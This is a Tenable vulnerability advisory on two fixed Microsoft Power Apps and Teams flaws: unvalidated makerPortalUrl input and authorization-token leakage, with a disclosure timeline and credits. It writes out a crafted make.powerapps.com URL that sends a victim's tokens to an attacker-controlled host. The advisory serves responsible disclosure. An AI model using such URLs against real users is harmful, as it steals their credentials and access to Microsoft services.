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Multiple vulnerabilities in Microsoft Power Apps (apps.powerapps.com, make.powerapps.com)

Medium

Synopsis

Insufficient input validation on apps.powerapps.com/teams/makerportal makerportalUrl parameter

The makerPortalUrl parameter at apps.powerapps.com/teams/makerportal did not properly validate the supplied url. 

A malicious attacker could leverage this issue to spoof content in Microsoft Teams tabs and steal victims' authorization tokens. 

Theft of authorization tokens for graph.make.powerapps.com and api.powerapps.com

If a user who is logged into make.powerapps.com was convinced to visit a page following the format:

https://make.powerapps.com/teams/powerapps/acquire/mscrm.test/status/https%3a%2f%2f<attacker-controlled-site>

That user's authorization tokens for graph.make.powerapps.com and api.powerapps.com would be leaked to the attacker-controlled site. 

A malicious attacker could leverage this issue to steal additional authorization tokens and make requests to multiple Microsoft services authorized as the victim. 

Solución

Microsoft has fixed the issues.

Disclosure Timeline

March 26, 2021 - Vulnerabilities reported to Microsoft Security Response Center (MSRC)
March 30, 2021 - Vulnerabilities confirmed by MSRC
April 15, 2021 - Tenable asks for updates, MSRC responds that team is investigating.
April 27, 2021 - Tenable notes that the input validation issue appears fixed, which would trigger disclosure. Asks Microsoft to confirm.
May 10, 2021 - Tenable again asks MSRC to confirm, notes that issue will be disclosed unless there is reason to believe the issue is not fixed.
May 11, 2021 - MSRC asks Tenable to delay disclosure until they can confirm the fix.
May 11, 2021 - Tenable asks MSRC to confirm before end of week if there are additional issues or other reasons to delay disclosure.
May 13, 2021 - Tenable discovers and reports a potential workaround to the noted fix, agrees to delay disclosure until MSRC confirms the issue is fixed and workaround addressed.
June 11, 2021 - MSRC confirms the input validation issue is fixed.
June 24, 2021 - MSRC confirms the auth token disclosure issue is fixed.

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Risk Information

Tenable Advisory ID: TRA-2021-23
Credit:
Evan Grant
Affected Products:
Microsoft Power Apps
Microsoft Teams
Risk Factor:
Medium (Medio).

Advisory Timeline

June 14, 2021 - Advisory initially published
June 24, 2021 - Advisory updated with details on auth token disclosure issue